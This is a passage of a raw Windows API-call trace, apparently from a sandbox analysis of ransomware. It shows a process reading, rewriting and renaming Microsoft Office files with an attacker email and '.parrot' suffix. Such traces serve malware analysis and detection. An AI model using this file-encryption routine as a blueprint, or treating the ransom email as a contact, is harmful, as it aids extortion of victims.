lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.834] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x28b, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x28b, lpOverlapped=0x0) returned 1 [0180.834] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0180.834] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0180.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0180.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0180.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0180.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0180.835] GetLastError () returned 0x0 [0180.835] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0180.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0180.835] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0180.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0180.835] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0180.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0180.835] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0180.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0180.835] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0180.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0180.835] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0180.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0180.835] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0180.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0180.835] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0180.836] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0180.836] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0180.836] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0180.836] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0180.836] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0180.836] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0180.836] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60ba90 [0180.836] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0180.836] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0180.836] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ba90 | out: hHeap=0x5b0000) returned 1 [0180.836] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0180.836] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0180.836] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0180.836] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0180.836] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x643228 [0180.836] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0180.836] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x22aa070 [0180.836] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0180.836] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5cabe0 [0180.836] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa070 | out: hHeap=0x5b0000) returned 1 [0180.836] WriteFile (in: hFile=0x288, lpBuffer=0x5cabe0*, nNumberOfBytesToWrite=0x3a8, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x5cabe0*, lpNumberOfBytesWritten=0x18eed4*=0x3a8, lpOverlapped=0x0) returned 1 [0180.840] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0180.840] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3a3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0180.840] CloseHandle (hObject=0x288) returned 1 [0180.840] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0180.840] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x22d3808 [0180.840] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0180.840] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0180.842] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d3808 | out: hHeap=0x5b0000) returned 1 [0180.842] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0180.842] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0180.842] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0180.842] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0180.842] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0180.842] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0180.844] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1eb, nNumberOfBytesToLockHigh=0x0) returned 1 [0180.844] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0180.844] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0180.845] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.845] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd3, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd3, lpOverlapped=0x0) returned 1 [0180.845] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0180.845] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0180.845] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0180.845] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0180.845] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0180.845] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0180.845] GetLastError () returned 0x0 [0180.846] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.846] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0180.846] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0180.846] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0180.846] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0180.846] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0180.846] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0180.846] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0180.846] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0180.846] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0180.846] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0180.846] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0180.846] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0180.846] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0180.846] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0180.846] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0180.846] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0180.846] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0180.846] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0180.846] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0180.846] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0180.846] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0180.846] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60ba90 [0180.846] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0180.846] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0180.846] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ba90 | out: hHeap=0x5b0000) returned 1 [0180.846] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0180.846] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0180.846] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0180.847] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0180.847] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f8) returned 0x5cbeb0 [0180.847] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0180.847] WriteFile (in: hFile=0x288, lpBuffer=0x5cbeb0*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x5cbeb0*, lpNumberOfBytesWritten=0x18eed4*=0x1f8, lpOverlapped=0x0) returned 1 [0180.848] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0180.848] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1eb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0180.848] CloseHandle (hObject=0x288) returned 1 [0180.848] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0180.848] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x22d3808 [0180.849] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0180.849] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0180.851] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d3808 | out: hHeap=0x5b0000) returned 1 [0180.851] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0180.851] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x647228 | out: hHeap=0x5b0000) returned 1 [0180.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0180.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0180.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0180.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0180.854] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x18a, nNumberOfBytesToLockHigh=0x0) returned 1 [0180.854] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0180.854] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0180.855] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.856] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x72, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x72, lpOverlapped=0x0) returned 1 [0180.856] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0180.856] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0180.856] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0180.856] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0180.856] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0180.856] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0180.856] GetLastError () returned 0x0 [0180.856] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.856] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0180.856] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0180.856] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0180.856] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0180.856] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0180.856] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0180.856] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0180.856] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0180.856] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0180.856] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0180.856] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0180.856] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0180.856] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0180.856] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0180.857] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0180.857] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0180.857] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0180.857] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0180.857] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0180.857] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0180.857] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0180.857] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60ba90 [0180.857] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0180.857] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0180.857] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ba90 | out: hHeap=0x5b0000) returned 1 [0180.857] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x198) returned 0x22a0070 [0180.857] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0180.857] WriteFile (in: hFile=0x288, lpBuffer=0x22a0070*, nNumberOfBytesToWrite=0x198, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x22a0070*, lpNumberOfBytesWritten=0x18eed4*=0x198, lpOverlapped=0x0) returned 1 [0180.859] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22a0070 | out: hHeap=0x5b0000) returned 1 [0180.859] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x18a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0180.859] CloseHandle (hObject=0x288) returned 1 [0180.859] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0180.859] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x22d3808 [0180.859] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0180.859] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_f_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0180.860] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d3808 | out: hHeap=0x5b0000) returned 1 [0180.860] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0180.860] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b2738 | out: hHeap=0x5b0000) returned 1 [0180.860] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0180.860] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0180.860] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0180.860] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0180.867] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x189, nNumberOfBytesToLockHigh=0x0) returned 1 [0180.867] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0180.867] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0180.868] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.868] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x71, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x71, lpOverlapped=0x0) returned 1 [0180.868] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0180.868] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0180.868] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0180.868] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0180.868] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0180.868] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0180.868] GetLastError () returned 0x0 [0180.868] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.869] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0180.869] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0180.869] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0180.869] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0180.869] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0180.869] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0180.869] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0180.869] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0180.869] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0180.869] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0180.869] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0180.869] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0180.869] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0180.869] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0180.869] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0180.869] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0180.869] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0180.869] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0180.869] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0180.869] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0180.869] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0180.869] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60ba90 [0180.869] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0180.869] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0180.869] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ba90 | out: hHeap=0x5b0000) returned 1 [0180.869] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x198) returned 0x22a0070 [0180.869] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0180.869] WriteFile (in: hFile=0x27c, lpBuffer=0x22a0070*, nNumberOfBytesToWrite=0x198, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x22a0070*, lpNumberOfBytesWritten=0x18eed4*=0x198, lpOverlapped=0x0) 